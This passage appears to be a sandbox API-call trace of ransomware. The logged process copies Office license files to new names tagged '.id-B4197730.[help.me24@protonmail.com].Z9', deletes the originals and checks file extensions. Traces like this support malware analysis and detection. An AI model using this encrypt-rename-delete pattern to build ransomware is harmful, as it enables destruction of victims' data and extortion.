	[0184.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.048] GetLastError () returned 0x0
	[0184.048] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0184.050] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0184.052] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.052] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x118, lpOverlapped=0x0) returned 1
	[0184.052] SetEndOfFile (hFile=0x520) returned 1
	[0184.052] CloseHandle (hObject=0x520) returned 1
	[0184.052] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.052] SetEndOfFile (hFile=0x540) returned 1
	[0184.055] CloseHandle (hObject=0x540) returned 1
	[0184.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1
	[0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.056] lstrlenW (lpString=".doc") returned 4
	[0184.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.056] lstrlenW (lpString=".docx") returned 5
	[0184.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.056] lstrlenW (lpString=".pdf") returned 4
	[0184.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.056] lstrlenW (lpString=".xls") returned 4
	[0184.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.056] lstrlenW (lpString=".xlsx") returned 5
	[0184.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.056] lstrlenW (lpString=".ppt") returned 4
	[0184.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString=".zip") returned 4
	[0184.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".rar") returned 4
	[0184.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".bz2") returned 4
	[0184.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".7z") returned 3
	[0184.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString=".dbf") returned 4
	[0184.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString=".1cd") returned 4
	[0184.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString=".jpg") returned 4
	[0184.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.057] lstrlenW (lpString=".doc") returned 4
	[0184.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".docx") returned 5
	[0184.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.057] lstrlenW (lpString=".pdf") returned 4
	[0184.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".xls") returned 4
	[0184.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString=".xlsx") returned 5
	[0184.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.057] lstrlenW (lpString=".ppt") returned 4
	[0184.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.058] lstrlenW (lpString=".zip") returned 4
	[0184.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.058] lstrlenW (lpString=".rar") returned 4
	[0184.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.058] lstrlenW (lpString=".bz2") returned 4
	[0184.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.058] lstrlenW (lpString=".7z") returned 3
	[0184.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.058] lstrlenW (lpString=".dbf") returned 4
	[0184.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.058] lstrlenW (lpString=".1cd") returned 4
	[0184.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0184.058] lstrlenW (lpString=".jpg") returned 4
	[0184.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.058] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.058] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24
	[0184.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.059] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11147) returned 1
	[0184.059] CloseHandle (hObject=0x540) returned 1
	[0184.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220
	[0184.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.060] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.060] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.061] GetLastError () returned 0x0
	[0184.061] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0184.063] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0184.064] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.064] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x104, lpOverlapped=0x0) returned 1
	[0184.064] SetEndOfFile (hFile=0x520) returned 1
	[0184.064] CloseHandle (hObject=0x520) returned 1
	[0184.064] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.064] SetEndOfFile (hFile=0x540) returned 1
	[0184.068] CloseHandle (hObject=0x540) returned 1
	[0184.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1
	[0184.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.069] lstrlenW (lpString=".doc") returned 4
	[0184.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".docx") returned 5
	[0184.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.070] lstrlenW (lpString=".pdf") returned 4
	[0184.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".xls") returned 4
	[0184.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".xlsx") returned 5
	[0184.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.070] lstrlenW (lpString=".ppt") returned 4
	[0184.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString=".zip") returned 4
	[0184.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".rar") returned 4
	[0184.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".bz2") returned 4
	[0184.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".7z") returned 3
	[0184.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString=".dbf") returned 4
	[0184.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString=".1cd") returned 4
	[0184.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString=".jpg") returned 4
	[0184.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.070] lstrlenW (lpString=".doc") returned 4
	[0184.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.070] lstrlenW (lpString=".docx") returned 5
	[0184.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.070] lstrlenW (lpString=".pdf") returned 4
	[0184.071] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString=".xls") returned 4
	[0184.071] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString=".xlsx") returned 5
	[0184.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.071] lstrlenW (lpString=".ppt") returned 4
	[0184.071] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.071] lstrlenW (lpString=".zip") returned 4
	[0184.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString=".rar") returned 4
	[0184.071] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString=".bz2") returned 4
	[0184.071] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString=".7z") returned 3
	[0184.071] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.071] lstrlenW (lpString=".dbf") returned 4
	[0184.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.071] lstrlenW (lpString=".1cd") returned 4
	[0184.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0184.071] lstrlenW (lpString=".jpg") returned 4
	[0184.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.071] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.071] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25
	[0184.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.072] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=26524) returned 1
	[0184.072] CloseHandle (hObject=0x540) returned 1
	[0184.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220
	[0184.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.073] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.073] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.074] GetLastError () returned 0x0
	[0184.074] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x679c, lpOverlapped=0x0) returned 1
	[0184.236] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0184.238] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.238] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x106, lpOverlapped=0x0) returned 1
	[0184.238] SetEndOfFile (hFile=0x520) returned 1
	[0184.238] CloseHandle (hObject=0x520) returned 1
	[0184.239] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.239] SetEndOfFile (hFile=0x540) returned 1
	[0184.244] CloseHandle (hObject=0x540) returned 1
	[0184.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1
	[0184.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.249] lstrlenW (lpString=".doc") returned 4
	[0184.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.249] lstrlenW (lpString=".docx") returned 5
	[0184.249] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.249] lstrlenW (lpString=".pdf") returned 4
	[0184.249] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.249] lstrlenW (lpString=".xls") returned 4
	[0184.249] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.249] lstrlenW (lpString=".xlsx") returned 5
	[0184.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.250] lstrlenW (lpString=".ppt") returned 4
	[0184.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString=".zip") returned 4
	[0184.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString=".rar") returned 4
	[0184.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString=".bz2") returned 4
	[0184.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString=".7z") returned 3
	[0184.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString=".dbf") returned 4
	[0184.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString=".1cd") returned 4
	[0184.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString=".jpg") returned 4
	[0184.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.250] lstrlenW (lpString=".doc") returned 4
	[0184.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.250] lstrlenW (lpString=".docx") returned 5
	[0184.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.251] lstrlenW (lpString=".pdf") returned 4
	[0184.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString=".xls") returned 4
	[0184.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString=".xlsx") returned 5
	[0184.251] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.251] lstrlenW (lpString=".ppt") returned 4
	[0184.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.251] lstrlenW (lpString=".zip") returned 4
	[0184.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString=".rar") returned 4
	[0184.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString=".bz2") returned 4
	[0184.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString=".7z") returned 3
	[0184.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.251] lstrlenW (lpString=".dbf") returned 4
	[0184.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.251] lstrlenW (lpString=".1cd") returned 4
	[0184.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0184.251] lstrlenW (lpString=".jpg") returned 4
	[0184.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.252] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.252] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26
	[0184.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.254] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=26525) returned 1
	[0184.254] CloseHandle (hObject=0x540) returned 1
	[0184.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220
	[0184.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
